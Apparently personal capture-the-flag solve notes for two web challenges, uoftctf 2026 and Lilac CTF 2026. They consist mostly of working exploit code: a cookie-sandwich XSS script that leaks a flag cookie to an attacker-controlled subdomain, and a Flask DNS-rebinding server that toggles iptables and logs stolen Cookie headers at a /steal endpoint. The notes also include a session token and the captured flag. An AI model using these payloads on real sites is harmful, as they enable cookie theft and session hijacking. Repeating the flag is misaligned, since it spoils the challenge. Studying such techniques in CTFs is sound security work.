Skulpt JS XSS python js interprenter

Event Name Lilac CTF 2026
GitHub URL -
Challenge Name playground

Cookie Sandwitch attack & Light DNS Rebinding attack

Event Name uoftctf 2026
GitHub URL -
Challenge Name Unrealistic Client-Side Challenge - Flag 1

Cookie sandwitch

<script>
    const sleep = t => new Promise(r => setTimeout(r, t));
    (async ()=> {
        const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiaWF0IjoxNzY4MDE3MTEwLCJleHAiOjE3NjgwMjQzMTB9.VBd77rx24B8UxtfiMNVuZKfo2lB8_T5zo5zxReUYXdU";
        document.cookie=`session=${token};Domain=7chn.me;Path=/flag`;
        let w1 = open("<http://localhost.7chn.me:5000/flag>");
        document.cookie=`motd="%3Cimg%20src='//foobar.n.7chn.me/?v=;Domain=7chn.me;Path=/motd`;
        await sleep(1000);
        document.cookie=`z='%3E";Domain=7chn.me;Path=/`;
        w2 = open("<http://localhost.7chn.me:5000/motd>");
    })();
</script>

localhost.7chn.me -> 127.0.0.1

foobar.n.7chn.me -> your server

Light DNS Rebinding

import subprocess
import threading
import time
from flask import Flask, Response, request

app = Flask(__name__)

@app.get("/")
def index():
    body = r"""<!doctype html>
<meta charset="utf-8">
<title>light rebind</title>
<script>
(() => {
  const sleep = (ms) => new Promise(r => setTimeout(r, ms));

  function postWindow(url, data, targetName) {
    const form = document.createElement("form");
    form.action = url;
    form.method = "POST";
    form.target = targetName;
    form.style.display = "none";

    for (const key in data) {
      const input = document.createElement("input");
      input.type = "hidden";
      input.name = key;
      input.value = data[key];
      form.appendChild(input);
    }

    document.body.appendChild(form);
    form.submit();
    document.body.removeChild(form);
  }

  const u = "u" + Math.random().toString(36).slice(2);
  const p = "p" + Math.random().toString(36).slice(2);

  async function attempt() {
    window.open("about:blank", "w1");
    await sleep(100);
    window.open("/cut", "w1");

    window.open("about:blank", "w2");
    await sleep(1000);
    postWindow("/register", { username: u, password: p }, "w2");

    window.open("about:blank", "w3");
    await sleep(500);
    postWindow("/login", { username: u, password: p }, "w3");

    window.open("about:blank", "w4");
    await sleep(500);
    window.open("/flag", "w4");

    // reset iptable and reset server here!
    window.open("about:blank", "w5");
    await sleep(3000);
    window.open("/steal", "w5");

    await sleep(5000);
  }

  attempt();
})();
</script>
"""
    resp = Response(body, mimetype="text/html")
    resp.headers["Connection"] = "close"
    return resp

@app.get("/cut")
def cut():
    def worker():
        try:
            subprocess.run(
                ["bash","-lc", "sudo iptables -I INPUT 1 -p tcp --dport 5000 -j REJECT --reject-with tcp-reset"],
                check=False
            )
            time.sleep(6)
        finally:
            subprocess.run(
                ["bash","-lc", "sudo iptables -D INPUT 1"],
                check=False
            )
    threading.Thread(target=worker, daemon=True).start()
    return ("cut", 200)

@app.get("/steal")
def steal():
    print("Cookie header =", request.headers.get("Cookie"))
    return ("steal", 200)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=False, use_reloader=False)

"""
- report url:
<http://127.0.0.1:5000>@make-{my-ip}-and-127-0-0-1-rr.1u.ms:5000

- session:
session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMCIsImlhdCI6MTc2ODA1ODczNCwiZXhwIjoxNzY4MDY1OTM0LCJmbGFnIjoidW9mdGN0ZntoNHYzX3kwdXI1M2xmXzRfczRuZHcxY2h9In0.SC70s-ve8X44OuHcctrDAIEKjIqEA4LrBGjqxWuY1cw

- flag
uoftctf{h4v3_y0ur53lf_4_s4ndw1ch}

3rd solve
"""

Null initiator on disk cache to bypass single name domain.